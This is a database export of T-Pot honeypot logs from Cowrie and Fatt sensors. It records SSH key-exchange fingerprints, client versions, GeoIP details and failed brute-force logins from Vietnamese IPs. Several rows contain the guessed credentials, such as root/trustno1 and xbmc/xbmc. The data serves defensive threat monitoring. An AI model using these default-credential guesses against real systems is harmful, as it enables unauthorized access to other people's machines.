23260	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:13.00271+03	2021-09-20 14:15:07.27947+03	{"_id": "OwbjAnwBvYTbRNuEdAiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d1e6d0a77d48", "@version": "1", "timestamp": "2021-09-20T11:07:13.002710Z", "@timestamp": "2021-09-20T11:07:13.002Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23261	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:13.038208+03	2021-09-20 14:15:07.280472+03	{"_id": "PAbjAnwBvYTbRNuEdAiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [peter/peter] failed", "session": "42ded88255ab", "@version": "1", "password": "peter", "username": "peter", "timestamp": "2021-09-20T11:07:13.038208Z", "@timestamp": "2021-09-20T11:07:13.038Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23262	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:13.044387+03	2021-09-20 14:15:07.28147+03	{"_id": "PQbjAnwBvYTbRNuEdAiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3ac7616fff16", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:13.044387Z", "@timestamp": "2021-09-20T11:07:13.044Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23263	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:13.045752+03	2021-09-20 14:15:07.28347+03	{"_id": "PgbjAnwBvYTbRNuEdAiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "e7dcfc2e555e", "@version": "1", "timestamp": "2021-09-20T11:07:13.045752Z", "@timestamp": "2021-09-20T11:07:13.045Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23264	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:13.119565+03	2021-09-20 14:15:07.28447+03	{"_id": "PwbjAnwBvYTbRNuEdAiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [root/trustno1] failed", "session": "b804c76d0e87", "@version": "1", "password": "trustno1", "username": "root", "timestamp": "2021-09-20T11:07:13.119565Z", "@timestamp": "2021-09-20T11:07:13.119Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23266	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:14.24761+03	2021-09-20 14:15:07.28747+03	{"_id": "bgbjAnwBvYTbRNuEewj6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60514, "timestamp": "2021-09-20T11:07:14.247610", "@timestamp": "2021-09-20T11:07:14.247Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23267	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:14.262435+03	2021-09-20 14:15:07.288472+03	{"_id": "agbjAnwBvYTbRNuEewj6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "01e882b3c60e", "@version": "1", "duration": 2.659489393234253, "timestamp": "2021-09-20T11:07:14.262435Z", "@timestamp": "2021-09-20T11:07:14.262Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23268	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:14.434325+03	2021-09-20 14:15:07.289471+03	{"_id": "cAbjAnwBvYTbRNuEewj6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [tes/test] failed", "session": "3ac7616fff16", "@version": "1", "password": "test", "username": "tes", "timestamp": "2021-09-20T11:07:14.434325Z", "@timestamp": "2021-09-20T11:07:14.434Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23269	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:14.464299+03	2021-09-20 14:15:07.290471+03	{"_id": "bAbjAnwBvYTbRNuEewj6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [xbmc/xbmc] failed", "session": "d3cb8bf37f97", "@version": "1", "password": "xbmc", "username": "xbmc", "timestamp": "2021-09-20T11:07:14.464299Z", "@timestamp": "2021-09-20T11:07:14.464Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23270	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:14.804993+03	2021-09-20 14:15:07.29247+03	{"_id": "bQbjAnwBvYTbRNuEewj6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [root/pcp] failed", "session": "1ae7cea2d161", "@version": "1", "password": "pcp", "username": "root", "timestamp": "2021-09-20T11:07:14.804993Z", "@timestamp": "2021-09-20T11:07:14.804Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23276	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:07:13.884204+03	2021-09-20 14:15:07.299471+03	{"_id": "SQbjAnwBvYTbRNuEdwi3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 40486, "dest_port": 22, "timestamp": "2021-09-20T11:07:13.884204", "@timestamp": "2021-09-20T11:07:13.884Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23271	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:15.024382+03	2021-09-20 14:15:07.29347+03	{"_id": "mQbjAnwBvYTbRNuEgAg1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56450, "timestamp": "2021-09-20T11:07:15.024382", "@timestamp": "2021-09-20T11:07:15.024Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23272	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:15.722574+03	2021-09-20 14:15:07.29447+03	{"_id": "nAbjAnwBvYTbRNuEgAg1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "c976395e20d4", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:15.722574Z", "@timestamp": "2021-09-20T11:07:15.722Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
